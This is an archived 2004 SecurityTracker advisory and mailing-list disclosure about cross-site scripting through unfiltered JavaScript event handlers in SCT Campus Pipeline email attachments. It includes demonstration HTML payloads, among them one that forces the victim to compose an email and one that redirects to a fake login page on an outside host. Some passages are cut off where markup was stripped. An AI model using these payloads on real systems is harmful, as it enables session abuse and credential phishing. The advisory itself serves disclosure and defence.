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Category:   Application (Generic)  >   SCT Campus Pipeline Vendors:   SCT Corp.
SCT Campus Pipeline Javascript Event Input Validation Holes Let Remote Users Execute Arbitrary Commands
SecurityTracker Alert ID:  1009816
SecurityTracker URL:  http://securitytracker.com/id/1009816
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Apr 15 2004
Impact:   Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information, User access via network
Exploit Included:  Yes  

Description:   A vulnerability was reported in SCT Campus Pipeline. A remote user can conduct cross-site scripting attacks to cause a target user to execute arbitrary application commands.

Spiffomatic64 reported that the e-mail interface does not filter certain scripting handles such as onload(), onmouseover(), and onclick(). A remote user can send a specially crafted e-mail that, when viewed by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the SCT Campus Pipeline software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

Some demonstration exploit content is provided in the Source Message.

Impact:   A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the SCT Campus Pipeline software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.sct.com/Education/Products/Connected_Learning/CampusPipeline.html (Links to External Site)
Cause:   Input validation error
Underlying OS:  Windows (2000)

Message History:   This archive entry has one or more follow-up message(s) listed below.
Apr 18 2004 (Vendor Issues Fix) SCT Campus Pipeline Javascript Event Input Validation Holes Let Remote Users Execute Arbitrary Commands
The vendor has issued a fix.



 Source Message Contents

Subject:  [Full-Disclosure] SCT javascript execution vulnerability



Vendor  : SCT
URL     : 
http://www.sct.com/Education/Products/Connected_Learning/CampusPipeline.html
Version : CampusPipeline
Risk    : javascript execution

Description: SCT Campus Pipeline is the Web platform of choice at over 175 
institutions. It improves efficiency, builds community, and provides freedom 
of choice by integrating disparate systems and applications into a unified 
to information, services, and communities.

Javascript Execution: The email handling portion of this software displays 
certain attachments such as; html, bmp. Jpg, gif, etc, in the body of the 
email. It does a noble job of filtering scripting in html files but certain 
on event handles remain untouched such as: onload(), onmouseover(), 
onclick(), etc. This is a huge issue seeing as the html page is logged in 
with the same permissions as the user who views it. The software also uses 
javascript functions for all of its commands. This allows an hmlt page 
execute any command such as deletemessage() from <body 
that html attached to it. When linked to another page with <body 
other scripting method as you would like. This hole leads to an attached 
html having full control over the victims email account just by the victim 
viewing the email. Because the attacker would have the users session still 
set, he could potentially execute any command this software uses, such as 

Solution: The easiest way would be to just disallow previewing of 
attachments. No other web email service allows this, and for good reason. 
Another solution would be to filter all onevent handles such as onload(), 
onmouseover(), onclick(), etc.

Credits: Credits goto http://hackthissite.org. It provided a nice, open, 
legal environment for me to try new things and learn from those who know. A 
place where you are not reprimanded even if u deface a page or two. A place 
where I started with no knowledge and in less than a year found new 
vulnerabilities of my own. Thank you http://hackthissite.org. Lab rats: 
Ashley, Amy, Nick, Shrinidhi, Charbel and most importantly to Halley, you 
give me the strength and courage to do all that I do, without you I am 
nothing. Thank you sweetheart.

Exploit: This exemplifies three different onevent handles used:
<html>
<body onload="alert('load')">
<img src="http://www.hackthissite.org/avatars/hts.jpg" 
onmouseover="alert('mouse')">;
<img src="http://www.hackthissite.org/avatars/hts.jpg" 
onclick="alert('clicked')">;
</body>
</html>


This exploit will delete the current message:

This exploit will open a new email message with your desired:
<html><body 
onload="location.replace('http://website.com/cp/email/composeBody?function=new&to=Spiffomatic64@hotmail.com&subject=I 
love you matt&body=I was owned by matt')"></body></html>

Creating a fake session timeout screen with login could also be a problem as 
shown here:
<html><body 
onload="location.replace('http://hackthissite.org/userfiles/spiffomatic64/logoutpage.html')"></body></html>

Spiffomatic64
Hacking is an art-form

_________________________________________________________________
download! http://toolbar.msn.com/go/onm00200413ave/direct/01/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
 


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